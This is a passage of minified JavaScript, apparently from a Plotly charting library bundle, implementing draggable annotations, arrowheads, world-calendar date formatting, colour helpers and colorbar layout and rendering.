St=d.getRefType(lt);St==="domain"?(Ke==="y"&&(pt=1-pt),De.tail=ut._offset+ut._length*pt):St==="paper"?Ke==="y"?(pt=1-pt,De.tail=m.t+m.h*pt):De.tail=m.l+m.w*pt:De.tail=ut._offset+ut.r2p(pt),ye=Me}else De.tail=Ee+pt,ye=Me+pt;De.text=De.tail+Me;var _t=A[Ke==="x"?"width":"height"];if(st==="paper"&&(De.head=L.constrain(De.head,1,_t-1)),lt==="pixel"){var Ft=-Math.max(De.tail-3,De.text),Tt=Math.min(De.tail+3,De.text)-_t;Ft>0?(De.tail+=Ft,De.text+=Ft):Tt>0&&(De.tail-=Tt,De.text-=Tt)}De.tail+=Pe,De.head+=Pe}else Me=Ge*Be(de,Le),ye=Me,De.text=Ee+Me;De.text+=Pe,Me+=Pe,ye+=Pe,v["_"+Ke+"padplus"]=Ge/2+ye,v["_"+Ke+"padminus"]=Ge/2-ye,v["_"+Ke+"size"]=Ge,v["_"+Ke+"shift"]=Me}if($e){fe.remove();return}var Gt=0,er=0;if(v.align!=="left"&&(Gt=(Te-be)*(v.align==="center"?.5:1)),v.valign!=="top"&&(er=(Fe-ge)*(v.valign==="middle"?.5:1)),ke)xe.select("svg").attr({x:V+Gt-1,y:V+er}).call(t.setClipUrl,Q?F:null,i);else{var Pr=V+er-_e.top,ct=V+Gt-_e.left;oe.call(f.positionText,ct,Pr).call(t.setClipUrl,Q?F:null,i)}ie.select("rect").call(t.setRect,V,V,Te,Fe),Y.call(t.setRect,X/2,X/2,Oe-X,Ce-X),fe.call(t.setTranslate,Math.round(O.x.text-Oe/2),Math.round(O.y.text-Ce/2)),G.attr({transform:"rotate("+z+","+O.x.text+","+O.y.text+")"});var Vt=function(dr,sr){N.selectAll(".annotation-arrow-g").remove();var nt=O.x.head,rt=O.y.head,vt=O.x.tail+dr,gt=O.y.tail+sr,wt=O.x.text+dr,mt=O.y.text+sr,Pt=L.rotationXYMatrix(z,wt,mt),zt=L.apply2DTransform(Pt),Xt=L.apply2DTransform2(Pt),Yt=+Y.attr("width"),$t=+Y.attr("height"),yr=wt-.5*Yt,Ue=yr+Yt,Ne=mt-.5*$t,Et=Ne+$t,Lt=[[yr,Ne,yr,Et],[yr,Et,Ue,Et],[Ue,Et,Ue,Ne],[Ue,Ne,yr,Ne]].map(Xt);if(!Lt.reduce(function(Cr,vn){return Cr^!!L.segmentsIntersect(nt,rt,nt+1e6,rt+1e6,vn[0],vn[1],vn[2],vn[3])},!1)){Lt.forEach(function(Cr){var vn=L.segmentsIntersect(vt,gt,nt,rt,Cr[0],Cr[1],Cr[2],Cr[3]);vn&&(vt=vn.x,gt=vn.y)});var Nt=v.arrowwidth,rr=v.arrowcolor,tr=v.arrowside,Jt=N.append("g").style({opacity:g.opacity(rr)}).classed("annotation-arrow-g",!0),It=Jt.append("path").attr("d","M"+vt+","+gt+"L"+nt+","+rt).style("stroke-width",Nt+"px").call(g.stroke,g.rgb(rr));if(s(It,tr,v),n.annotationPosition&&It.node().parentNode&&!w){var or=nt,ur=rt;if(v.standoff){var fr=Math.sqrt(Math.pow(nt-vt,2)+Math.pow(rt-gt,2));or+=v.standoff*(vt-nt)/fr,ur+=v.standoff*(gt-rt)/fr}var lr=Jt.append("path").classed("annotation-arrow",!0).classed("anndrag",!0).classed("cursor-move",!0).attr({d:"M3,3H-3V-3H3ZM0,0L"+(vt-or)+","+(gt-ur),transform:S(or,ur)}).style("stroke-width",Nt+6+"px").call(g.stroke,"rgba(0,0,0,0)").call(g.fill,"rgba(0,0,0,0)"),Nr,Rr;l.init({element:lr.node(),gd:i,prepFn:function(){var Cr=t.getTranslate(fe);Nr=Cr.x,Rr=Cr.y,E&&E.autorange&&k(E._name+".autorange",!0),p&&p.autorange&&k(p._name+".autorange",!0)},moveFn:function(Cr,vn){var Ur=zt(Nr,Rr),Mn=Ur[0]+Cr,Sn=Ur[1]+vn;fe.call(t.setTranslate,Mn,Sn),B("x",b(E,Cr,"x",m,v)),B("y",b(p,vn,"y",m,v)),v.axref===v.xref&&B("ax",b(E,Cr,"ax",m,v)),v.ayref===v.yref&&B("ay",b(p,vn,"ay",m,v)),Jt.attr("transform",S(Cr,vn)),G.attr({transform:"rotate("+z+","+Mn+","+Sn+")"})},doneFn:function(){P.call("_guiRelayout",i,_());var Cr=document.querySelector(".js-notes-box-panel");Cr&&Cr.redraw(Cr.selectedObj)}})}}};if(v.showarrow&&Vt(0,0),J){var Ut;l.init({element:fe.node(),gd:i,prepFn:function(){Ut=G.attr("transform")},moveFn:function(dr,sr){var nt="pointer";if(v.showarrow)v.axref===v.xref?B("ax",b(E,dr,"ax",m,v)):B("ax",v.ax+dr),v.ayref===v.yref?B("ay",b(p,sr,"ay",m.w,v)):B("ay",v.ay+sr),Vt(dr,sr);else{if(w)return;var rt,vt;if(E)rt=b(E,dr,"x",m,v);else{var gt=v._xsize/m.w,wt=v.x+(v._xshift-v.xshift)/m.w-gt/2;rt=l.align(wt+dr/m.w,gt,0,1,v.xanchor)}if(p)vt=b(p,sr,"y",m,v);else{var mt=v._ysize/m.h,Pt=v.y-(v._yshift+v.yshift)/m.h-mt/2;vt=l.align(Pt-sr/m.h,mt,0,1,v.yanchor)}B("x",rt),B("y",vt),(!E||!p)&&(nt=l.getCursor(E?.5:rt,p?.5:vt,v.xanchor,v.yanchor))}G.attr({transform:S(dr,sr)+Ut}),a(fe,nt)},clickFn:function(dr,sr){v.captureevents&&i.emit("plotly_clickannotation",ne(sr))},doneFn:function(){a(fe),P.call("_guiRelayout",i,_());var dr=document.querySelector(".js-notes-box-panel");dr&&dr.redraw(dr.selectedObj)}})}}n.annotationText?oe.call(f.makeEditable,{delegate:fe,gd:i}).call(re).on("edit",function(pe){v.text=pe,this.call(re),B("text",pe),E&&E.autorange&&k(E._name+".autorange",!0),p&&p.autorange&&k(p._name+".autorange",!0),P.call("_guiRelayout",i,_())}):oe.call(re)}},13011:function(te,Z,e){var M=e(39898),P=e(7901),o=e(82884),L=e(71828),S=L.strScale,d=L.strRotate,g=L.strTranslate;te.exports=function(r,f,a){var l=r.node(),u=o[a.arrowhead||0],s=o[a.startarrowhead||0],y=(a.arrowwidth||1)*(a.arrowsize||1),c=(a.arrowwidth||1)*(a.startarrowsize||1),b=f.indexOf("start")>=0,h=f.indexOf("end")>=0,i=u.backoff*y+a.standoff,v=s.backoff*c+a.startstandoff,T,w,E,p;if(l.nodeName==="line"){T={x:+r.attr("x1"),y:+r.attr("y1")},w={x:+r.attr("x2"),y:+r.attr("y2")};var A=T.x-w.x,m=T.y-w.y;if(E=Math.atan2(m,A),p=E+Math.PI,i&&v&&i+v>Math.sqrt(A*A+m*m)){G();return}if(i){if(i*i>A*A+m*m){G();return}var n=i*Math.cos(E),C=i*Math.sin(E);w.x+=n,w.y+=C,r.attr({x2:w.x,y2:w.y})}if(v){if(v*v>A*A+m*m){G();return}var x=v*Math.cos(E),I=v*Math.sin(E);T.x-=x,T.y-=I,r.attr({x1:T.x,y1:T.y})}}else if(l.nodeName==="path"){var k=l.getTotalLength(),B="";if(k<i+v){G();return}var _=l.getPointAtLength(0),F=l.getPointAtLength(.1);E=Math.atan2(_.y-F.y,_.x-F.x),T=l.getPointAtLength(Math.min(v,k)),B="0px,"+v+"px,";var O=l.getPointAtLength(k),z=l.getPointAtLength(k-.1);p=Math.atan2(O.y-z.y,O.x-z.x),w=l.getPointAtLength(Math.max(0,k-i));var N=B?v+i:i;B+=k-N+"px,"+k+"px",r.style("stroke-dasharray",B)}function G(){r.style("stroke-dasharray","0px,100px")}function J(q,ne,fe,X){q.path&&(q.noRotate&&(fe=0),M.select(l.parentNode).append("path").attr({class:r.attr("class"),d:q.path,transform:g(ne.x,ne.y)+d(fe*180/Math.PI)+S(X)}).style({fill:P.rgb(a.arrowcolor),"stroke-width":0}))}b&&J(s,T,E,c),h&&J(u,w,p,y)}},32745:function(te,Z,e){var M=e(92605),P=e(44317);te.exports={moduleType:"component",name:"annotations",layoutAttributes:e(50215),supplyLayoutDefaults:e(84046),includeBasePlot:e(76325)("annotations"),calcAutorange:e(3749),draw:M.draw,drawOne:M.drawOne,drawRaw:M.drawRaw,hasClickToShow:P.hasClickToShow,onClick:P.onClick,convertCoords:e(94128)}},26997:function(te,Z,e){var M=e(50215),P=e(30962).overrideAll,o=e(44467).templatedArray;te.exports=P(o("annotation",{visible:M.visible,x:{valType:"any"},y:{valType:"any"},z:{valType:"any"},ax:{valType:"number"},ay:{valType:"number"},xanchor:M.xanchor,xshift:M.xshift,yanchor:M.yanchor,yshift:M.yshift,text:M.text,textangle:M.textangle,font:M.font,width:M.width,height:M.height,opacity:M.opacity,align:M.align,valign:M.valign,bgcolor:M.bgcolor,bordercolor:M.bordercolor,borderpad:M.borderpad,borderwidth:M.borderwidth,showarrow:M.showarrow,arrowcolor:M.arrowcolor,arrowhead:M.arrowhead,startarrowhead:M.startarrowhead,arrowside:M.arrowside,arrowsize:M.arrowsize,startarrowsize:M.startarrowsize,arrowwidth:M.arrowwidth,standoff:M.standoff,startstandoff:M.startstandoff,hovertext:M.hovertext,hoverlabel:M.hoverlabel,captureevents:M.captureevents}),"calc","from-root")},5485:function(te,Z,e){var M=e(71828),P=e(89298);te.exports=function(S){for(var d=S.fullSceneLayout,g=d.annotations,t=0;t<g.length;t++)o(g[t],S);S.fullLayout._infolayer.selectAll(".annotation-"+S.id).remove()};function o(L,S){var d=S.fullSceneLayout,g=d.domain,t=S.fullLayout._size,r={pdata:null,type:"linear",autorange:!1,range:[-1/0,1/0]};L._xa={},M.extendFlat(L._xa,r),P.setConvert(L._xa),L._xa._offset=t.l+g.x[0]*t.w,L._xa.l2p=function(){return .5*(1+L._pdata[0]/L._pdata[3])*t.w*(g.x[1]-g.x[0])},L._ya={},M.extendFlat(L._ya,r),P.setConvert(L._ya),L._ya._offset=t.t+(1-g.y[1])*t.h,L._ya.l2p=function(){return .5*(1-L._pdata[1]/L._pdata[3])*t.h*(g.y[1]-g.y[0])}}},20226:function(te,Z,e){var M=e(71828),P=e(89298),o=e(85501),L=e(25625),S=e(26997);te.exports=function(t,r,f){o(t,r,{name:"annotations",handleItemDefaults:d,fullLayout:f.fullLayout})};function d(g,t,r,f){function a(s,y){return M.coerce(g,t,S,s,y)}function l(s){var y=s+"axis",c={_fullLayout:{}};return c._fullLayout[y]=r[y],P.coercePosition(t,c,a,s,s,.5)}var u=a("visible");u&&(L(g,t,f.fullLayout,a),l("x"),l("y"),l("z"),M.noneOrAll(g,t,["x","y","z"]),t.xref="x",t.yref="y",t.zref="z",a("xanchor"),a("yanchor"),a("xshift"),a("yshift"),t.showarrow&&(t.axref="pixel",t.ayref="pixel",a("ax",-10),a("ay",-30),M.noneOrAll(g,t,["ax","ay"])))}},82188:function(te,Z,e){var M=e(92605).drawRaw,P=e(63538),o=["x","y","z"];te.exports=function(S){for(var d=S.fullSceneLayout,g=S.dataScale,t=d.annotations,r=0;r<t.length;r++){for(var f=t[r],a=!1,l=0;l<3;l++){var u=o[l],s=f[u],y=d[u+"axis"],c=y.r2fraction(s);if(c<0||c>1){a=!0;break}}a?S.fullLayout._infolayer.select(".annotation-"+S.id+'[data-index="'+r+'"]').remove():(f._pdata=P(S.glplot.cameraParams,[d.xaxis.r2l(f.x)*g[0],d.yaxis.r2l(f.y)*g[1],d.zaxis.r2l(f.z)*g[2]]),M(S.graphDiv,f,r,S.id,f._xa,f._ya))}}},2468:function(te,Z,e){var M=e(73972),P=e(71828);te.exports={moduleType:"component",name:"annotations3d",schema:{subplots:{scene:{annotations:e(26997)}}},layoutAttributes:e(26997),handleDefaults:e(20226),includeBasePlot:o,convert:e(5485),draw:e(82188)};function o(L,S){var d=M.subplotsRegistry.gl3d;if(d)for(var g=d.attrRegex,t=Object.keys(L),r=0;r<t.length;r++){var f=t[r];g.test(f)&&(L[f].annotations||[]).length&&(P.pushUnique(S._basePlotModules,d),P.pushUnique(S._subplots.gl3d,f))}}},7561:function(te,Z,e){te.exports=e(63489),e(94338),e(3961),e(38751),e(86825),e(37715),e(99384),e(43805),e(88874),e(83290),e(29108),e(55422),e(94320),e(31320),e(51367),e(21457)},72201:function(te,Z,e){var M=e(7561),P=e(71828),o=e(50606),L=o.EPOCHJD,S=o.ONEDAY,d={valType:"enumerated",values:P.sortObjectKeys(M.calendars),editType:"calc",dflt:"gregorian"},g=function(E,p,A,m){var n={};return n[A]=d,P.coerce(E,p,n,A,m)},t=function(E,p,A,m){for(var n=0;n<A.length;n++)g(E,p,A[n]+"calendar",m.calendar)},r={chinese:"2000-01-01",coptic:"2000-01-01",discworld:"2000-01-01",ethiopian:"2000-01-01",hebrew:"5000-01-01",islamic:"1000-01-01",julian:"2000-01-01",mayan:"5000-01-01",nanakshahi:"1000-01-01",nepali:"2000-01-01",persian:"1000-01-01",jalali:"1000-01-01",taiwan:"1000-01-01",thai:"2000-01-01",ummalqura:"1400-01-01"},f={chinese:"2000-01-02",coptic:"2000-01-03",discworld:"2000-01-03",ethiopian:"2000-01-05",hebrew:"5000-01-01",islamic:"1000-01-02",julian:"2000-01-03",mayan:"5000-01-01",nanakshahi:"1000-01-05",nepali:"2000-01-05",persian:"1000-01-01",jalali:"1000-01-01",taiwan:"1000-01-04",thai:"2000-01-04",ummalqura:"1400-01-06"},a={chinese:["2000-01-01","2001-01-01"],coptic:["1700-01-01","1701-01-01"],discworld:["1800-01-01","1801-01-01"],ethiopian:["2000-01-01","2001-01-01"],hebrew:["5700-01-01","5701-01-01"],islamic:["1400-01-01","1401-01-01"],julian:["2000-01-01","2001-01-01"],mayan:["5200-01-01","5201-01-01"],nanakshahi:["0500-01-01","0501-01-01"],nepali:["2000-01-01","2001-01-01"],persian:["1400-01-01","1401-01-01"],jalali:["1400-01-01","1401-01-01"],taiwan:["0100-01-01","0101-01-01"],thai:["2500-01-01","2501-01-01"],ummalqura:["1400-01-01","1401-01-01"]},l="##",u={d:{0:"dd","-":"d"},e:{0:"d","-":"d"},a:{0:"D","-":"D"},A:{0:"DD","-":"DD"},j:{0:"oo","-":"o"},W:{0:"ww","-":"w"},m:{0:"mm","-":"m"},b:{0:"M","-":"M"},B:{0:"MM","-":"MM"},y:{0:"yy","-":"yy"},Y:{0:"yyyy","-":"yyyy"},U:l,w:l,c:{0:"D M d %X yyyy","-":"D M d %X yyyy"},x:{0:"mm/dd/yyyy","-":"mm/dd/yyyy"}};function s(E,p,A){for(var m=Math.floor((p+.05)/S)+L,n=c(A).fromJD(m),C=0,x,I,k,B,_;(C=E.indexOf("%",C))!==-1;)x=E.charAt(C+1),x==="0"||x==="-"||x==="_"?(k=3,I=E.charAt(C+2),x==="_"&&(x="-")):(I=x,x="0",k=2),B=u[I],B?(B===l?_=l:_=n.formatDate(B[x]),E=E.substr(0,C)+_+E.substr(C+k),C+=_.length):C+=k;return E}var y={};function c(E){var p=y[E];return p||(p=y[E]=M.instance(E),p)}function b(E){return P.extendFlat({},d,{description:E})}function h(E){return"Sets the calendar system to use with `"+E+"` date data."}var i={xcalendar:b(h("x"))},v=P.extendFlat({},i,{ycalendar:b(h("y"))}),T=P.extendFlat({},v,{zcalendar:b(h("z"))}),w=b(["Sets the calendar system to use for `range` and `tick0`","if this is a date axis. This does not set the calendar for","interpreting data on this axis, that's specified in the trace","or via the global `layout.calendar`"].join(" "));te.exports={moduleType:"component",name:"calendars",schema:{traces:{scatter:v,bar:v,box:v,heatmap:v,contour:v,histogram:v,histogram2d:v,histogram2dcontour:v,scatter3d:T,surface:T,mesh3d:T,scattergl:v,ohlc:i,candlestick:i},layout:{calendar:b(["Sets the default calendar system to use for interpreting and","displaying dates throughout the plot."].join(" "))},subplots:{xaxis:{calendar:w},yaxis:{calendar:w},scene:{xaxis:{calendar:w},yaxis:{calendar:w},zaxis:{calendar:w}},polar:{radialaxis:{calendar:w}}},transforms:{filter:{valuecalendar:b(["WARNING: All transforms are deprecated and may be removed from the API in next major version.","Sets the calendar system to use for `value`, if it is a date."].join(" ")),targetcalendar:b(["WARNING: All transforms are deprecated and may be removed from the API in next major version.","Sets the calendar system to use for `target`, if it is an","array of dates. If `target` is a string (eg *x*) we use the","corresponding trace attribute (eg `xcalendar`) if it exists,","even if `targetcalendar` is provided."].join(" "))}}},layoutAttributes:d,handleDefaults:g,handleTraceDefaults:t,CANONICAL_SUNDAY:f,CANONICAL_TICK:r,DFLTRANGE:a,getCal:c,worldCalFmt:s}},22399:function(te,Z){Z.defaults=["#1f77b4","#ff7f0e","#2ca02c","#d62728","#9467bd","#8c564b","#e377c2","#7f7f7f","#bcbd22","#17becf"],Z.defaultLine="#444",Z.lightLine="#eee",Z.background="#fff",Z.borderLine="#BEC8D9",Z.lightFraction=90.9090909090909},7901:function(te,Z,e){var M=e(84267),P=e(92770),o=e(73627).isTypedArray,L=te.exports={},S=e(22399);L.defaults=S.defaults;var d=L.defaultLine=S.defaultLine;L.lightLine=S.lightLine;var g=L.background=S.background;L.tinyRGB=function(r){var f=r.toRgb();return"rgb("+Math.round(f.r)+", "+Math.round(f.g)+", "+Math.round(f.b)+")"},L.rgb=function(r){return L.tinyRGB(M(r))},L.opacity=function(r){return r?M(r).getAlpha():0},L.addOpacity=function(r,f){var a=M(r).toRgb();return"rgba("+Math.round(a.r)+", "+Math.round(a.g)+", "+Math.round(a.b)+", "+f+")"},L.combine=function(r,f){var a=M(r).toRgb();if(a.a===1)return M(r).toRgbString();var l=M(f||g).toRgb(),u=l.a===1?l:{r:255*(1-l.a)+l.r*l.a,g:255*(1-l.a)+l.g*l.a,b:255*(1-l.a)+l.b*l.a},s={r:u.r*(1-a.a)+a.r*a.a,g:u.g*(1-a.a)+a.g*a.a,b:u.b*(1-a.a)+a.b*a.a};return M(s).toRgbString()},L.contrast=function(r,f,a){var l=M(r);l.getAlpha()!==1&&(l=M(L.combine(r,g)));var u=l.isDark()?f?l.lighten(f):g:a?l.darken(a):d;return u.toString()},L.stroke=function(r,f){var a=M(f);r.style({stroke:L.tinyRGB(a),"stroke-opacity":a.getAlpha()})},L.fill=function(r,f){var a=M(f);r.style({fill:L.tinyRGB(a),"fill-opacity":a.getAlpha()})},L.clean=function(r){if(!(!r||typeof r!="object")){var f=Object.keys(r),a,l,u,s;for(a=0;a<f.length;a++)if(u=f[a],s=r[u],u.substr(u.length-5)==="color")if(Array.isArray(s))for(l=0;l<s.length;l++)s[l]=t(s[l]);else r[u]=t(s);else if(u.substr(u.length-10)==="colorscale"&&Array.isArray(s))for(l=0;l<s.length;l++)Array.isArray(s[l])&&(s[l][1]=t(s[l][1]));else if(Array.isArray(s)){var y=s[0];if(!Array.isArray(y)&&y&&typeof y=="object")for(l=0;l<s.length;l++)L.clean(s[l])}else s&&typeof s=="object"&&!o(s)&&L.clean(s)}};function t(r){if(P(r)||typeof r!="string")return r;var f=r.trim();if(f.substr(0,3)!=="rgb")return r;var a=f.match(/^rgba?\s*\(([^()]*)\)$/);if(!a)return r;var l=a[1].trim().split(/\s*[\s,]\s*/),u=f.charAt(3)==="a"&&l.length===4;if(!u&&l.length!==3)return r;for(var s=0;s<l.length;s++){if(!l[s].length||(l[s]=Number(l[s]),!(l[s]>=0)))return r;if(s===3)l[s]>1&&(l[s]=1);else if(l[s]>=1)return r}var y=Math.round(l[0]*255)+", "+Math.round(l[1]*255)+", "+Math.round(l[2]*255);return u?"rgba("+y+", "+l[3]+")":"rgb("+y+")"}},63583:function(te,Z,e){var M=e(13838),P=e(41940),o=e(1426).extendFlat,L=e(30962).overrideAll;te.exports=L({orientation:{valType:"enumerated",values:["h","v"],dflt:"v"},thicknessmode:{valType:"enumerated",values:["fraction","pixels"],dflt:"pixels"},thickness:{valType:"number",min:0,dflt:30},lenmode:{valType:"enumerated",values:["fraction","pixels"],dflt:"fraction"},len:{valType:"number",min:0,dflt:1},x:{valType:"number"},xref:{valType:"enumerated",dflt:"paper",values:["container","paper"],editType:"layoutstyle"},xanchor:{valType:"enumerated",values:["left","center","right"]},xpad:{valType:"number",min:0,dflt:10},y:{valType:"number"},yref:{valType:"enumerated",dflt:"paper",values:["container","paper"],editType:"layoutstyle"},yanchor:{valType:"enumerated",values:["top","middle","bottom"]},ypad:{valType:"number",min:0,dflt:10},outlinecolor:M.linecolor,outlinewidth:M.linewidth,bordercolor:M.linecolor,borderwidth:{valType:"number",min:0,dflt:0},bgcolor:{valType:"color",dflt:"rgba(0,0,0,0)"},tickmode:M.minor.tickmode,nticks:M.nticks,tick0:M.tick0,dtick:M.dtick,tickvals:M.tickvals,ticktext:M.ticktext,ticks:o({},M.ticks,{dflt:""}),ticklabeloverflow:o({},M.ticklabeloverflow,{}),ticklabelposition:{valType:"enumerated",values:["outside","inside","outside top","inside top","outside left","inside left","outside right","inside right","outside bottom","inside bottom"],dflt:"outside"},ticklen:M.ticklen,tickwidth:M.tickwidth,tickcolor:M.tickcolor,ticklabelstep:M.ticklabelstep,showticklabels:M.showticklabels,labelalias:M.labelalias,tickfont:P({}),tickangle:M.tickangle,tickformat:M.tickformat,tickformatstops:M.tickformatstops,tickprefix:M.tickprefix,showtickprefix:M.showtickprefix,ticksuffix:M.ticksuffix,showticksuffix:M.showticksuffix,separatethousands:M.separatethousands,exponentformat:M.exponentformat,minexponent:M.minexponent,showexponent:M.showexponent,title:{text:{valType:"string"},font:P({}),side:{valType:"enumerated",values:["right","top","bottom"]}},_deprecated:{title:{valType:"string"},titlefont:P({}),titleside:{valType:"enumerated",values:["right","top","bottom"],dflt:"top"}}},"colorbars","from-root")},30939:function(te){te.exports={cn:{colorbar:"colorbar",cbbg:"cbbg",cbfill:"cbfill",cbfills:"cbfills",cbline:"cbline",cblines:"cblines",cbaxis:"cbaxis",cbtitleunshift:"cbtitleunshift",cbtitle:"cbtitle",cboutline:"cboutline",crisp:"crisp",jsPlaceholder:"js-placeholder"}}},62499:function(te,Z,e){var M=e(71828),P=e(44467),o=e(26218),L=e(38701),S=e(96115),d=e(89426),g=e(63583);te.exports=function(r,f,a){var l=P.newContainer(f,"colorbar"),u=r.colorbar||{};function s(O,z){return M.coerce(u,l,g,O,z)}var y=a.margin||{t:0,b:0,l:0,r:0},c=a.width-y.l-y.r,b=a.height-y.t-y.b,h=s("orientation"),i=h==="v",v=s("thicknessmode");s("thickness",v==="fraction"?30/(i?c:b):30);var T=s("lenmode");s("len",T==="fraction"?1:i?b:c);var w=s("yref"),E=s("xref"),p=w==="paper",A=E==="paper",m,n,C,x="left";i?(C="middle",x=A?"left":"right",m=A?1.02:1,n=.5):(C=p?"bottom":"top",x="center",m=.5,n=p?1.02:1),M.coerce(u,l,{x:{valType:"number",min:A?-2:0,max:A?3:1,dflt:m}},"x"),M.coerce(u,l,{y:{valType:"number",min:p?-2:0,max:p?3:1,dflt:n}},"y"),s("xanchor",x),s("xpad"),s("yanchor",C),s("ypad"),M.noneOrAll(u,l,["x","y"]),s("outlinecolor"),s("outlinewidth"),s("bordercolor"),s("borderwidth"),s("bgcolor");var I=M.coerce(u,l,{ticklabelposition:{valType:"enumerated",dflt:"outside",values:i?["outside","inside","outside top","inside top","outside bottom","inside bottom"]:["outside","inside","outside left","inside left","outside right","inside right"]}},"ticklabelposition");s("ticklabeloverflow",I.indexOf("inside")!==-1?"hide past domain":"hide past div"),o(u,l,s,"linear");var k=a.font,B={outerTicks:!1,font:k};I.indexOf("inside")!==-1&&(B.bgColor="black"),d(u,l,s,"linear",B),S(u,l,s,"linear",B),L(u,l,s,"linear",B),s("title.text",a._dfltTitle.colorbar);var _=l.showticklabels?l.tickfont:k,F=M.extendFlat({},_,{color:k.color,size:M.bigFont(_.size)});M.coerceFont(s,"title.font",F),s("title.side",i?"top":"right")}},98981:function(te,Z,e){var M=e(39898),P=e(84267),o=e(74875),L=e(73972),S=e(89298),d=e(28569),g=e(71828),t=g.strTranslate,r=e(1426).extendFlat,f=e(6964),a=e(91424),l=e(7901),u=e(92998),s=e(63893),y=e(52075).flipScale,c=e(71453),b=e(52830),h=e(13838),i=e(18783),v=i.LINE_SPACING,T=i.FROM_TL,w=i.FROM_BR,E=e(30939).cn;function p(I){var k=I._fullLayout,B=k._infolayer.selectAll("g."+E.colorbar).data(A(I),function(_){return _._id});B.enter().append("g").attr("class",function(_){return _._id}).classed(E.colorbar,!0),B.each(function(_){var F=M.select(this);g.ensureSingle(F,"rect",E.cbbg),g.ensureSingle(F,"g",E.cbfills),g.ensureSingle(F,"g",E.cblines),g.ensureSingle(F,"g",E.cbaxis,function(z){z.classed(E.crisp,!0)}),g.ensureSingle(F,"g",E.cbtitleunshift,function(z){z.append("g").classed(E.cbtitle,!0)}),g.ensureSingle(F,"rect",E.cboutline);var O=m(F,_,I);O&&O.then&&(I._promises||[]).push(O),I._context.edits.colorbarPosition&&n(F,_,I)}),B.exit().each(function(_){o.autoMargin(I,_._id)}).remove(),B.order()}function A(I){var k=I._fullLayout,B=I.calcdata,_=[],F,O,z,N;function G(j){return r(j,{_fillcolor:null,_line:{color:null,width:null,dash:null},_levels:{start:null,end:null,size:null},_filllevels:null,_fillgradient:null,_zrange:null})}function J(){typeof N.calc=="function"?N.calc(I,z,F):(F._fillgradient=O.reversescale?y(O.colorscale):O.colorscale,F._zrange=[O[N.min],O[N.max]])}for(var q=0;q<B.length;q++){var ne=B[q];if(z=ne[0].trace,!!z._module){var fe=z._module.colorbar;if(z.visible===!0&&fe)for(var X=Array.isArray(fe),W=X?fe:[fe],V=0;V<W.length;V++){N=W[V];var Y=N.container;O=Y?z[Y]:z,O&&O.showscale&&(F=G(O.colorbar),F._id="cb"+z.uid+(X&&Y?"-"+Y:""),F._traceIndex=z.index,F._propPrefix=(Y?Y+".":"")+"colorbar.",F._meta=z._meta,J(),_.push(F))}}}for(var Q in k._colorAxes)if(O=k[Q],O.showscale){var ie=k._colorAxes[Q];F=G(O.colorbar),F._id="cb"+Q,F._propPrefix=Q+".colorbar.",F._meta=k._meta,N={min:"cmin",max:"cmax"},ie[0]!=="heatmap"&&(z=ie[1],N.calc=z._module.colorbar.calc),J(),_.push(F)}return _}function m(I,k,B){var _=k.orientation==="v",F=k.len,O=k.lenmode,z=k.thickness,N=k.thicknessmode,G=k.outlinewidth,J=k.borderwidth,q=k.bgcolor,ne=k.xanchor,fe=k.yanchor,X=k.xpad,W=k.ypad,V=k.x,Y=_?k.y:1-k.y,Q=k.yref==="paper",ie=k.xref==="paper",j=B._fullLayout,K=j._size,oe=k._fillcolor,re=k._line,le=k.title,pe=le.side,we=k._zrange||M.extent((typeof oe=="function"?oe:re.color).domain()),xe=typeof re.color=="function"?re.color:function(){return re.color},ke=typeof oe=="function"?oe:function(){return oe},_e=k._levels,be=C(B,k,we),ge=be.fill,Te=be.line,Fe=Math.round(z*(N==="fraction"?_?K.w:K.h:1)),Oe=Fe/(_?K.w:K.h),Ce=Math.round(F*(O==="fraction"?_?K.h:K.w:1)),Be=Ce/(_?K.h:K.w),$e=ie?K.w:B._fullLayout.width,Xe=Q?K.h:B._fullLayout.height,Ze=Math.round(_?V*$e+X:Y*Xe+W),Ke={center:.5,right:1}[ne]||0,st={top:1,middle:.5}[fe]||0,lt=_?V-Ke*Oe:Y-st*Oe,ut=_?Y-st*Be:V-Ke*Be,yt=Math.round(_?Xe*(1-ut):$e*ut);k._lenFrac=Be,k._thickFrac=Oe,k._uFrac=lt,k._vFrac=ut;var bt=k._axis=x(B,k,we);bt.position=Oe+(_?V+X/K.w:Y+W/K.h);var Ot=["top","bottom"].indexOf(pe)!==-1;if(_&&Ot&&(bt.title.side=pe,bt.titlex=V+X/K.w,bt.titley=ut+(le.side==="top"?Be-W/K.h:W/K.h)),!_&&!Ot&&(bt.title.side=pe,bt.titley=Y+W/K.h,bt.titlex=ut+X/K.w),re.color&&k.tickmode==="auto"){bt.tickmode="linear",bt.tick0=_e.start;var Ge=_e.size,Le=g.constrain(Ce/50,4,15)+1,Pe=(we[1]-we[0])/((k.nticks||Le)*Ge);if(Pe>1){var De=Math.pow(10,Math.floor(Math.log(Pe)/Math.LN10));Ge*=De*g.roundUp(Pe/De,[2,5,10]),(Math.abs(_e.start)/_e.size+1e-6)%1<2e-6&&(bt.tick0=0)}bt.dtick=Ge}bt.domain=_?[ut+W/K.h,ut+Be-W/K.h]:[ut+X/K.w,ut+Be-X/K.w],bt.setScale(),I.attr("transform",t(Math.round(K.l),Math.round(K.t)));var Ee=I.select("."+E.cbtitleunshift).attr("transform",t(-Math.round(K.l),-Math.round(K.t))),ye=bt.ticklabelposition,ae=bt.title.font.size,de=I.select("."+E.cbaxis),Me,Ie=0,Qe=0;function et(Tt,Gt){var er={propContainer:bt,propName:k._propPrefix+"title",traceIndex:k._traceIndex,_meta:k._meta,placeholder:j._dfltTitle.colorbar,containerGroup:I.select("."+E.cbtitle)},Pr=Tt.charAt(0)==="h"?Tt.substr(1):"h"+Tt;I.selectAll("."+Pr+",."+Pr+"-math-group").remove(),u.draw(B,Tt,r(er,Gt||{}))}function pt(){if(_&&Ot||!_&&!Ot){var Tt,Gt;pe==="top"&&(Tt=X+K.l+$e*V,Gt=W+K.t+Xe*(1-ut-Be)+3+ae*.75),pe==="bottom"&&(Tt=X+K.l+$e*V,Gt=W+K.t+Xe*(1-ut)-3-ae*.25),pe==="right"&&(Gt=W+K.t+Xe*Y+3+ae*.75,Tt=X+K.l+$e*ut),et(bt._id+"title",{attributes:{x:Tt,y:Gt,"text-anchor":_?"start":"middle"}})}}function St(){if(_&&!Ot||!_&&Ot){var Tt=bt.position||0,Gt=bt._offset+bt._length/2,er,Pr;if(pe==="right")Pr=Gt,er=K.l+$e*Tt+10+ae*(bt.showticklabels?1:.5);else 